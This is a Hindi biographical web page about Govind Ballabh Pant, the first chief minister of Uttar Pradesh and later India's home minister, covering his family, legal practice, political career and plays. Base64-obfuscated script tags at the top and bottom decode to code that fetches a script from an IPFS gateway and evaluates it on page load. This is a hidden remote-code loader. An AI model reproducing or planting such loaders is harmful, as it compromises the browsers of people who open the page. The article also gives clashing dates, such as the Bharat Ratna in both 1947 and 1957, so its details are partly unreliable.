<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गोविंद बल्लभ पंत (अंग्रेज़ी: Govind Ballabh Pant, जन्म:10 सितम्बर 1887; मृत्यु: 7 मार्च, 1961) उत्तर प्रदेश के प्रथम मुख्यमंत्री एवं स्वतंत्रता सेनानी थे। इनका मुख्यमंत्री कार्यकाल 15 अगस्त, 1947 से 27 मई, 1954 तक रहा। बाद में ये भारत के गृहमंत्री भी (1955 -1961) बने। भारतीय संविधान में हिन्दी भाषा को राष्ट्रभाषा का दर्जा दिलाने और जमींदारी प्रथा को खत्म कराने में उनका महत्वपूर्ण योगदान था। भारत रत्न का सम्मान उनके ही गृहमन्त्रित्व काल में आरम्भ किया गया था। बाद में यही सम्मान उन्हें 1947 में उनके स्वतन्त्रता संग्राम में योगदान देने, उत्तर प्रदेश के मुख्यमंत्री तथा भारत के गृहमंत्री के रूप में उत्कृष्ट कार्य करने के उपलक्ष्य में राष्ट्रपति राजेन्द्र प्रसाद द्वारा प्रदान किया गया।

जीवन परिचय

अपने संकल्प और साहस के मशहूर पंत जी का जन्म 10 सितम्बर, 1887 ई. वर्तमान उत्तराखंड राज्य के अल्मोड़ा ज़िले के खूंट (धामस) नामक गाँव में ब्राह्मण परिवार में हुआ था। इस परिवार का सम्बन्ध कुमाऊँ की एक अत्यन्त प्राचीन और सम्मानित परम्परा से है। पन्तों की इस परम्परा का मूल स्थान महाराष्ट्र का कोंकण प्रदेश माना जाता है और इसके आदि पुरुष माने जाते हैं जयदेव पंत। ऐसी मान्यता है कि 11वीं सदी के आरम्भ में जयदेव पंत तथा उनका परिवार कुमाऊं में आकर बस गया था।

आरम्भिक जीवन

गोविन्द बल्लभ पंत के पिता का नाम श्री 'मनोरथ पन्त' था। श्री मनोरथ पंत गोविन्द के जन्म से तीन वर्ष के भीतर अपनी पत्नी के साथ पौड़ी गढ़वाल चले गये थे। बालक गोविन्द दो-एक बार पौड़ी गया परन्तु स्थायी रूप से अल्मोड़ा में रहा। उसका लालन-पोषण उसकी मौसी 'धनीदेवी' ने किया। गोविन्द ने 10 वर्ष की आयु तक शिक्षा घर पर ही ग्रहण की। 1897 में गोविन्द को स्थानीय 'रामजे कॉलेज' में प्राथमिक पाठशाला में दाखिल कराया गया। 1899 में 12 वर्ष की आयु में उनका विवाह 'पं. बालादत्त जोशी' की कन्या 'गंगा देवी' से हो गया, उस समय वह कक्षा सात में थे। गोविन्द ने लोअर मिडिल की परीक्षा संस्कृत, गणित, अंग्रेज़ी विषयों में विशेष योग्यता के साथ प्रथम श्रेणी में पास की। गोविन्द इण्टर की परीक्षा पास करने तक यहीं पर रहे। इसके पश्चात् इलाहाबाद विश्वविद्यालय में प्रवेश लिया तथा बी.ए. में गणित, राजनीति और अंग्रेज़ी साहित्य विषय लिए। इलाहाबाद उस समय भारत की विभूतियां पं० जवाहरलाल नेहरु, पं० मोतीलाल नेहरु, सर तेजबहादुर सप्रु, श्री सतीशचन्द्र बैनर्जी व श्री सुन्दरलाल सरीखों का संगम था तो वहीं विश्वविद्यालय में अंतर्राष्ट्रीय ख्याति के विद्वान् प्राध्यापक जैनिग्स, कॉक्स, रेन्डेल, ए.पी. मुकर्जी सरीखे विद्वान् थे। इलाहाबाद में नवयुवक गोविन्द को इन महापुरुषों का सान्निध्य एवं सम्पर्क मिला साथ ही जागरुक, व्यापक और राजनीतिक चेतना से भरपूर वातावरण मिला।

पंत जी के सम्मान में जारी डाक टिकट

कार्यक्षेत्र

  • 1909 में गोविन्द बल्लभ पंत को क़ानून की परीक्षा में विश्वविद्यालय में सर्वप्रथम आने पर 'लम्सडैन' स्वर्ण पदक प्रदान किया गया।
  • 1910 में गोविन्द बल्लभ पंत ने अल्मोड़ा में वकालत आरम्भ की। अल्मोड़ा के बाद पंत जी ने कुछ महीने रानीखेत में वकालत की, फिर पंत जी वहाँ से काशीपुर आ गये। उन दिनों काशीपुर के मुक़दमें एस.डी.एम. (डिप्टी कलक्टर) की कोर्ट में पेश हुआ करते थे। यह अदालत ग्रीष्म काल में 6 महीने नैनीताल व सर्दियों के 6 महीने काशीपुर में रहती थी। इस प्रकार पंत जी का काशीपुर के बाद नैनीताल से सम्बन्ध जुड़ा।
  • सन 1912-13 में पंतजी काशीपुर आये उस समय उनके पिता जी 'रेवेन्यू कलक्टर' थे। श्री 'कुंजबिहारी लाल' जो काशीपुर के वयोवृद्ध प्रतिष्ठित नागरिक थे, का मुक़दमा पंत' जी द्वारा लिये गये सबसे 'पहले मुक़दमों' में से एक था। इसकी फ़ीस उन्हें 5 रु० मिली थी।
  • 1909 में पंतजी के पहले पुत्र की बीमारी से मृत्यु हो गयी और कुछ समय बाद पत्नी गंगादेवी की भी मृत्यु हो गयी। उस समय उनकी आयु 23 वर्ष की थी। वह गम्भीर व उदासीन रहने लगे तथा समस्त समय क़ानून व राजनीति को देने लगे। परिवार के दबाव पर 1912 में पंत जी का दूसरा विवाह अल्मोड़ा में हुआ। उसके बाद पंतजी काशीपुर आये। पंत जी काशीपुर में सबसे पहले 'नजकरी' में नमक वालों की कोठी में एक साल तक रहे।
  • 1913 में पंतजी काशीपुर के मौहल्ला खालसा में 3-4 वर्ष तक रहे। अभी नये मकान में आये एक वर्ष भी नहीं हुआ था कि उनके पिता मनोरथ पंत का देहान्त हो गया। इस बीच एक पुत्र की प्राप्ति हुई पर उसकी भी कुछ महीनों बाद मृत्यु हो गयी। बच्चे के बाद पत्नी भी 1914 में स्वर्ग सिधार गई।
  • 1916 में पंत जी 'राजकुमार चौबे' की बैठक में चले गये। चौबे जी पंत जी के अनन्य मित्र थे। उनके द्वारा दबाव डालने पर पुनःविवाह के लिए राजी होना पडा तथा काशीपुर के ही श्री तारादत्त पाण्डे जी की पुत्री 'कलादेवी' से विवाह हुआ। उस समय पन्त जी की आयु 30 वर्ष की थी।

वकालत का अंदाज़

गोविन्द बल्लभ पंत जी का मुक़दमा लड़ने का ढंग निराला था, जो मुवक़्क़िल अपने मुक़दमों के बारे में सही जानकारी नहीं देते थे, पंत जी उनका मुक़दमा नहीं लेते थे। काशीपुर में एक बार गोविन्द बल्लभ पंत जी धोती, कुर्ता तथा गाँधी टोपी पहनकर कोर्ट चले गये। वहां अंग्रेज़ मजिस्ट्रेट ने आपत्ति की।

संक्षिप्त जीवन परिचय

पंत जी के सम्मान में जारी डाक टिकट

पन्त जी की वकालत की काशीपुर में धाक थी और उनकी आय 500 रुपए मासिक से भी अधिक हो गई। पंत जी के कारण काशीपुर राजनीतिक तथा सामाजिक दृष्टियों से कुमाऊँ के अन्य नगरों की अपेक्षा अधिक जागरुक था। अंग्रेज़ शासकों ने काशीपुर नगर को काली सूची में शामिल कर लिया। पंतजी के नेतृत्व के कारण अंग्रेज़ काशीपुर को ”गोविन्दगढ़“ कहती थी।

  • 1914 में काशीपुर में 'प्रेमसभा' की स्थापना पंत जी के प्रयत्नों से ही हुई। ब्रिटिश शासकों ने समझा कि समाज सुधार के नाम पर यहाँ आतंकवादी कार्यो को प्रोत्साहन दिया जाता है। फलस्वरूप इस सभा को हटाने के अनेक प्रयत्न किये गये पर पंत जी के प्रयत्नों से वह सफल नहीं हो पाये।
  • 1914 में पंत जी के प्रयत्नों से ही 'उदयराज हिन्दू हाईस्कूल' की स्थापना हुई। राष्ट्रीय आन्दोलन में भाग लेने के आरोप में ब्रिटिश सरकार ने इस स्कूल के विरुद्ध डिग्री दायर कर नीलामी के आदेश पारित कर दिये। जब पंत जी को पता चला तो उन्होंनें चन्दा मांगकर इसको पूरा किया।
  • 1916 में पंत जी काशीपुर की 'नोटीफाइड ऐरिया कमेटी' में लिये गये। बाद में कमेटी की 'शिक्षा समिति' के अध्यक्ष बने। कुमायूं में सबसे पहले निःशुल्क और अनिवार्य शिक्षा लागू करने का श्रेय पंत जी को ही है।
  • पंतजी ने कुमायूं में 'राष्ट्रीय आन्दोलन' को 'अंहिसा' के आधार पर संगठित किया। आरम्भ से ही कुमाऊं के राजनीतिक आन्दोलन का नेतृत्व पंत जी के हाथों में रहा। कुमाऊं में राष्ट्रीय आन्दोलन का आरम्भ कुली उतार, जंगलात आंदोलन, स्वदेशी प्रचार तथा विदेशी कपडों की होली व लगान-बंदी आदि से हुआ। बाद में धीरे-धीरे कांग्रेस द्वारा घोषित असहयोग आन्दोलन की लहर कुमायूं में छा गयी। 1926 के बाद यह कांग्रेस में मिल गयी।
  • दिसम्बर 1920 में 'कुमाऊं परिषद' का 'वार्षिक अधिवेशन' काशीपुर में हुआ। जहां 150 प्रतिनिधियों के ठहरने की व्यवस्था काशीपुर नरेश की कोठी में की गई। पंतजी ने बताया कि परिषद का उद्देश्य कुमाऊं के कष्टों को दूर करना है न कि सरकार से संघर्ष करना।
  • 23 जुलाई, 1928 को पन्त जी 'नैनीताल ज़िला बोर्ड' के चैयरमैन चुने गये। 1920-21 में भी चैयरमैन रह चुके थे।
  • पंत जी का राजनीतिक सिद्धान्त था कि अपने क्षेत्र की राजनीति की कभी उपेक्षा नहीं की जानी चाहिए। 1929 में गांधी जी कोसानी से रामनगर होते हुए काशीपुर भी गये। काशीपुर में गांधी जी लाला नानकचन्द खत्री के बाग़ में ठहरे थे। पंत जी ने काशीपुर में एक चरखा संघ की विधिवत स्थापना की।
  • 10 अगस्त, 1931 को भवाली में उनके सुपुत्र श्रीकृष्ण चन्द्र पंत का जन्म हुआ।
  • नवम्बर, 1934 में गोविन्द बल्लभ पंत 'रुहेलखण्ड-कुमाऊं' क्षेत्र से केन्द्रीय विधान सभा के लिए निर्विरोध चुन लिये गये।
  • 17 जुलाई, 1937 को गोविन्द बल्लभ पंत 'संयुक्त प्रान्त' के प्रथम मुख्यमंत्री बने जिसमें नारायण दत्त तिवारी संसदीय सचिव नियुक्त किये गये थे।
  • पन्त जी 1946 से दिसम्बर 1954 तक उत्तर प्रदेश के मुख्यमंत्री रहे। पंत जी को भूमि सुधारों में पर्याप्त रुचि थी। 21 मई, 1952 को जमींदारी उन्मूलन क़ानून को प्रभावी बनाया। मुख्यमंत्री के रूप में उनकी विशाल योजना नैनीताल तराई को आबाद करने की थी।
  • पंत जी एक विद्वान् क़ानून ज्ञाता होने के साथ ही महान् नेता व महान् अर्थशास्त्री भी थे। कृष्णचन्द्र पंत उनके सुयोग्य पुत्र केन्द्र सरकार में विभिन्न पदों पर रहते हुए योजना आयोग के उपाध्यक्ष भी रहे।
  • इलाहाबाद के तत्कालीन 'म्योर सेण्ट्रल कॉलेज' से स्नातक एवं वकालत की उपाधियाँ प्राप्त कीं।
  • सन 1909 में इलाहाबाद हाईकोर्ट में एडवोकेट बने और नैनीताल में वकालत प्रारम्भ की।
  • सन 1916 में 'कुमायूँ परिषद' की स्थापना की और इसी वर्ष 'अखिल भारतीय कांग्रेस कमेटी' के सदस्य चुने गये।
  • 1923 में 'स्वराज्य पार्टी' के टिकट पर उत्तर प्रदेश 'विधान परिषद के लिए निर्वाचित हुए।
  • सन 1927 में उत्तर प्रदेश कांग्रेस कमेटी के अध्यक्ष रहे।
  • नवम्बर, 1928 में लखनऊ में साइमन कमीशन का बहिष्कार किया।
  • सन 1921, 1930, 1932 और 1934 के स्वतंत्रता संग्रामों में लगभग 7 वर्ष जेलों में रहे।
  • सन 1937 से 1939 एवं 1954 तक अर्थात् मृत्यु पर्यन्त केन्द्रीय सरकार के स्वराष्ट्र मंत्री रहे।
स्वतंत्रता के पुनीत अवसर पर गोविन्द बल्लभ पंत द्वारा दिया गया सन्देशः-

मित्रों और साथियों, इस ऐतिहासिक अवसर पर आप लोगों के प्रति हार्दिक शुभकामनाएं प्रकट करते हुए मुझे हर्ष होता है। हम अपनी मंज़िल पर पहुंच चुके हैं। हमें अपना लक्ष्य मिल गया है। भारतीय संघ के स्वतंत्र राज्य में मैं आपका स्वागत करता हूं। जनता के प्रतिनिधि राज्य और उसकी विभिन्न शाखाओं का नियंत्रण और संचालन करेंगे और जनता द्वारा, जनता के लिए, जनता की सरकार केवल सिद्धान्त नहीं रहेगा वरन् अब वह सब प्रकार से सक्रिय रूप धारण करेगा और सभी मानों में यह सिद्धान्त व्यवहार में लाया जाएगा।

नाटककार और लेखक

गोविंद वल्लभ पंत अच्छे नाटककार हैं। उनका 'वरमाला' नाटक, जो मार्कण्डेय पुराण की एक कथा पर आधारित है, बड़ी निपुणता से लिखा गया है। मेवाड़ की पन्ना नामक धाय के अलौकिक त्याग का ऐतिहासिक वृत लेकर 'राजमुकुट' की रचना हुई है। 'अंगूर की बेटी' (जो फ़ारसी शब्द का अनुवाद है) मद्य में दुष्परिणाम दिखाने वाला सामाजिक नाटक है।

भारत रत्न

भारत रत्न सम्मान उनके ही काल में आरम्भ किया गया। सन् 1957 में गणतन्त्र दिवस पर महान् देशभक्त, कुशल प्रशासक, सफल वक्ता, तर्क का धनी एवं उदारमना पन्त जी को भारत की सर्वोच्च उपाधि 'भारत रत्न' से विभूषित किया गया। आज उनकी याद में उनके जन्म स्थान पर एक स्मारक का निर्माण किया गया है। पंडित पन्त को उत्तराखंड के लोग 'गोठी पोंढ़ ज्यू' कह कर भी पुकारते हैं क्योंकि पन्त जी का जन्म अपने ननिहाल के 'गोठ' यानि जो स्थान मवेशियों के लिए बनाया जाता है वहां हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>